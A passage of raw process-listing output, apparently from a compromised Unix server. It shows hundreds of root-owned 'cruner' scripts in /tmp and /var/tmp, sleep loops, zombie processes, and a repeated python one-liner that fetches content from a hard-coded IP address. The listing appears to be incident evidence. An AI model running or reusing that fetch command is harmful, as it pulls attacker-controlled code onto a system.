15:44:52 ? 0:00 bash -sh > root 5188 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5925 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17539 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11557 26528 0 15:43:44 ? 0:00 bash -sh > root 15060 5623 0 15:46:00 ? 0:00 sh /tmp/cruner > root 3587 1669 0 15:45:58 ? 0:00 sleep 60 > root 21538 15673 0 - ? 0:00 <defunct> > root 25756 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22005 24199 0 - ? 0:00 <defunct> > root 5352 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12158 4658 0 15:44:15 ? 0:00 bash -sh > root 2333 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6086 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5633 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25446 28855 0 - ? 0:00 <defunct> > root 2548 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4287 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29317 11580 0 15:44:41 ? 0:00 bash -sh > root 19230 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24662 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21481 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4487 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28857 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29151 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25826 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19477 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22599 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16507 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26276 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13360 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25367 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12210 21270 0 - ? 0:00 <defunct> > root 4876 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20193 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13593 20417 0 15:45:11 ? 0:00 sleep 60 > root 25553 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6375 14854 0 - ? 0:00 <defunct> > root 13203 22583 0 15:45:29 ? 0:00 sleep 60 > root 9124 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8214 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9402 28339 0 - ? 0:00 <defunct> > root 29048 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3746 3740 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7738 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6121 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20803 1 0 19:25:58 ? 0:01 sh /var/tmp/cruner > root 11755 11754 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7513 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28828 9424 0 15:45:18 ? 0:00 sleep 60 > root 1595 26286 0 15:45:03 ? 0:00 bash -sh > root 24941 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10632 12941 0 15:45:10 ? 0:00 sleep 60 > root 20156 16779 0 - ? 0:00 <defunct> > root 10890 18681 0 - ? 0:00 <defunct> > root 14744 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19231 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16883 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29439 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 990 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28826 18203 0 - ? 0:00 <defunct> > root 15082 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1251 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27521 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13081 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27145 15680 0 15:45:18 ? 0:00 sleep 60 > root 2585 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28590 16259 0 - ? 0:00 <defunct> > root 19105 24649 0 15:43:03 ? 0:00 bash -sh > root 11408 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21205 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27840 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21878 21862 0 15:45:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18672 10903 0 15:44:06 ? 0:00 bash -sh > root 16897 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9722 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28238 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 208 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15172 1159 0 - ? 0:00 <defunct> > root 11555 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29854 14190 0 15:45:44 ? 0:00 sh /var/tmp/cruner > root 22144 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3777 24918 0 15:43:54 ? 0:00 bash -sh > root 28417 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18526 8823 0 - ? 0:00 <defunct> > root 18793 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10110 12724 0 - ? 0:00 <defunct> > root 23309 19740 0 15:44:08 ? 0:00 bash -sh > root 4224 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6720 27579 0 - ? 0:00 <defunct> > root 5221 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5627 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16850 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4417 26464 0 15:44:23 ? 0:00 bash -sh > root 16542 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26163 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3034 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14480 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29857 19067 0 15:46:02 ? 0:00 bash -sh > root 2056 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13211 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4605 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2095 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29478 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4262 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25074 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29087 21422 0 15:45:18 ? 0:00 sleep 60 > root 15351 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19606 10121 0 15:44:53 ? 0:00 bash -sh > root 25101 1 0 15:50:04 ? 0:01 sh /var/tmp/cruner > root 18062 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7487 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10117 27044 0 - ? 0:00 <defunct> > root 8689 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13849 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22714 9301 0 - ? 0:00 <defunct> > root 13986 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16009 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24749 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29129 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3685 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21139 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11261 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19684 20196 0 - ? 0:00 <defunct> > root 6882 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26419 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29962 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21965 18110 0 15:45:02 ? 0:00 bash -sh > root 26759 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21917 17401 0 - ? 0:00 <defunct> > root 16471 4326 0 15:46:00 ? 0:00 sleep 60 > root 22992 25511 0 15:45:30 ? 0:00 bash -sh > root 18531 6735 0 - ? 0:00 <defunct> > root 224 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 906 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5433 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8390 7953 0 15:43:09 ? 0:00 bash -sh > root 28468 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24786 12066 0 - ? 0:00 <defunct> > root 10669 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22655 18906 0 15:43:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5060 11932 0 15:45:49 ? 0:00 sleep 60 > root 19032 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25240 7195 0 - ? 0:00 <defunct> > root 28454 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13466 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18599 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9562 17423 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 3287 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21728 16868 0 15:45:06 ? 0:00 bash -sh > root 15147 12765 0 - ? 0:00 <defunct> > root 4335 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22460 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26162 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21500 2956 0 15:44:53 ? 0:00 bash -sh > root 24919 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27076 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7651 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24436 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2574 18195 0 - ? 0:00 <defunct> > root 2854 2325 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26689 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27065 18551 0 15:45:34 ? 0:00 sleep 60 > root 4012 16389 0 - ? 0:00 <defunct> > root 21239 18043 0 15:45:52 ? 0:00 bash -sh > root 19186 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26662 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9982 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15693 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8029 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11424 28342 0 15:45:59 ? 0:00 bash -sh > root 16758 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6927 9742 0 - ? 0:00 <defunct> > root 20723 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8180 6189 0 15:43:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16688 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8662 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13670 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24308 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13000 29928 0 - ? 0:00 <defunct> > root 17136 16252 0 15:45:29 ? 0:00 sh /tmp/cruner > root 18366 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18768 24117 0 15:45:29 ? 0:00 sleep 60 > root 24138 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24300 18534 0 15:44:27 ? 0:00 bash -sh > root 18814 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4038 21414 0 - ? 0:00 <defunct> > root 9927 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28692 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8818 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7811 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22034 2973 0 15:45:06 ? 0:00 bash -sh > root 8691 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 219 19936 0 15:45:48 ? 0:00 sleep 60 > root 18227 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14951 12793 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29195 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14996 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27477 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26552 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15502 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 281 23285 0 15:45:44 ? 0:00 bash -sh > root 22553 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 469 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14196 14160 0 - ? 0:00 <defunct> > root 20200 10554 0 - ? 0:00 <defunct> > root 8135 20119 0 15:45:36 ? 0:00 bash -sh > root 20293 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6290 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5046 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14525 20743 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 22928 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19016 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26733 8668 0 15:45:43 ? 0:00 sleep 60 > root 28891 29318 0 15:45:47 ? 0:00 sleep 60 > root 25478 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2097 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19387 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20698 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 4528 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17277 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 4832 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14146 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23010 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29838 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27708 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23358 4237 0 - ? 0:00 <defunct> > root 5028 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21197 22805 0 15:45:22 ? 0:00 bash -sh > root 5498 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6825 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7496 12546 0 15:46:03 ? 0:00 bash -sh > root 9723 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29887 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16814 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6824 6481 0 15:45:58 ? 0:00 bash -sh > root 16661 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9232 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12757 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2599 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29315 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 710 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18812 17757 0 15:43:39 ? 0:00 bash -sh > root 26088 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9493 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9635 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7988 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18594 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18181 20836 0 15:46:00 ? 0:00 sh /tmp/cruner > root 21589 16234 0 - ? 0:00 <defunct> > root 23156 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1263 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2587 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10754 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29679 26083 0 15:44:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24285 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25199 9206 0 15:44:54 ? 0:00 bash -sh > root 27716 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26932 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1524 21461 0 - ? 0:00 <defunct> > root 4531 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26470 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8929 19552 0 - ? 0:00 <defunct> > root 28980 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23517 4851 0 15:45:30 ? 0:00 bash -sh > root 20887 11225 0 15:45:42 ? 0:00 sleep 60 > root 1472 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13564 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10877 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6863 17898 0 15:46:03 ? 0:00 bash -sh > root 12814 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21338 8551 0 15:45:52 ? 0:00 bash -sh > root 21797 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10273 8300 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 14694 26030 0 15:45:51 ? 0:00 bash -sh > root 12920 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13451 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25427 23477 0 15:45:43 ? 0:00 sleep 60 > root 16308 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9916 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3419 8930 0 - ? 0:00 <defunct> > root 6427 6420 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4440 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1286 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14522 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22013 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23519 29381 0 15:44:54 ? 0:00 bash -sh > root 29489 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23094 13705 0 15:44:36 ? 0:00 bash -sh > root 8910 25784 0 15:45:28 ? 0:00 sleep 60 > root 7000 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6602 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15891 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22889 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20667 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2713 1813 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21170 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15834 16926 0 15:45:06 ? 0:00 sleep 60 > root 23785 10475 0 15:45:43 ? 0:00 sh /tmp/cruner > root 16909 14667 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 14451 13872 0 - ? 0:00 <defunct> > root 3088 17600 0 15:45:48 ? 0:00 bash -sh > root 15608 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15123 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18283 18851 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 2661 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8728 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18281 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10633 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17531 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13217 22931 0 15:45:29 ? 0:00 sleep 60 > root 24691 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2432 23853 0 15:45:40 ? 0:00 bash -sh > root 20606 10643 0 15:45:06 ? 0:00 bash -sh > root 21865 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4142 1812 0 15:45:48 ? 0:00 sleep 60 > root 1493 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 14302 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5501 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21156 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5220 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10635 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16979 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27555 20685 0 15:45:18 ? 0:00 sleep 60 > root 12494 3864 0 15:45:59 ? 0:00 sleep 60 > root 8820 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16079 26280 0 - ? 0:00 <defunct> > root 10581 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14305 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2990 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29438 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11601 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9655 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22901 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27754 10724 0 15:44:21 ? 0:00 bash -sh > root 11846 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2773 2771 0 15:45:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19947 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4424 4413 0 15:44:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12267 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16695 9321 0 15:45:51 ? 0:00 bash -sh > root 10867 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21955 12255 0 - ? 0:00 <defunct> > root 8475 1 0 00:28:46 ? 0:00 sh /var/tmp/cruner > root 29306 13173 0 15:43:07 ? 0:00 bash -sh > root 538 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12657 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 138 707 0 - ? 0:00 <defunct> > root 14514 29062 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11016 13728 0 15:45:55 ? 0:00 bash -sh > root 27009 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13641 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27060 2916 0 15:42:59 ? 0:00 /opt/csw/sbin/sshd -R > root 18169 22639 0 15:45:42 ? 0:00 sleep 60 > root 24424 10211 0 15:45:57 ? 0:00 sleep 60 > root 12118 579 0 15:43:10 ? 0:00 bash -sh > root 14406 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12495 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10916 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11948 15954 0 15:44:51 ? 0:00 bash -sh > root 6393 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13608 13571 0 15:45:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28756 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17429 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26838 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25819 23373 0 15:45:52 ? 0:00 bash -sh > root 29547 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2446 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27270 10911 0 15:45:18 ? 0:00 sleep 60 > root 6178 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16749 25007 0 - ? 0:00 <defunct> > root 24679 11431 0 15:45:17 ? 0:00 sleep 60 > root 13209 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29265 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26622 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2026 11209 0 15:46:02 ? 0:00 xargs kill -9 > root 29209 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4571 4503 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19337 9701 0 15:44:53 ? 0:00 bash -sh > root 21395 22762 0 15:44:53 ? 0:00 bash -sh > root 26367 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27249 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6380 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27252 15212 0 15:44:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25234 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3052 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7191 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5613 24764 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4777 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6755 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10248 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 26981 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9431 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10388 23725 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 20611 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14183 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8247 15068 0 - ? 0:00 <defunct> > root 13262 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29657 26482 0 15:45:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 613 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8484 15094 0 15:45:36 ? 0:00 bash -sh > root 6042 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9032 1622 0 15:45:40 ? 0:00 sh /tmp/cruner > root 22730 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27434 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8369 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27677 14017 0 15:45:43 ? 0:00 sleep 60 > root 6061 17863 0 15:45:35 ? 0:00 sleep 60 > root 14273 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18000 29121 0 - ? 0:00 <defunct> > root 14952 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1905 24831 0 15:45:53 ? 0:00 sleep 60 > root 28967 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6368 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28154 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28245 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18150 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19006 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8102 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23678 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16320 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27116 18811 0 15:45:53 ? 0:00 sh /tmp/cruner > root 10045 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17524 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18240 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2111 12932 0 - ? 0:00 <defunct> > root 25827 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3187 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17338 11140 0 15:44:44 ? 0:00 bash -sh > root 22365 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1521 28987 0 15:45:31 ? 0:00 sleep 60 > root 13613 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20418 20378 0 15:43:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29490 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17200 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7652 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3630 24570 0 - ? 0:00 <defunct> > root 16048 7442 0 15:45:06 ? 0:00 sleep 60 > root 26016 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14668 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1349 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15704 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16999 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21003 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22337 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13828 29626 0 15:46:04 ? 0:00 sleep 60 > root 110 27151 0 15:45:08 ? 0:00 bash -sh > root 24173 1 0 Oct 05 ? 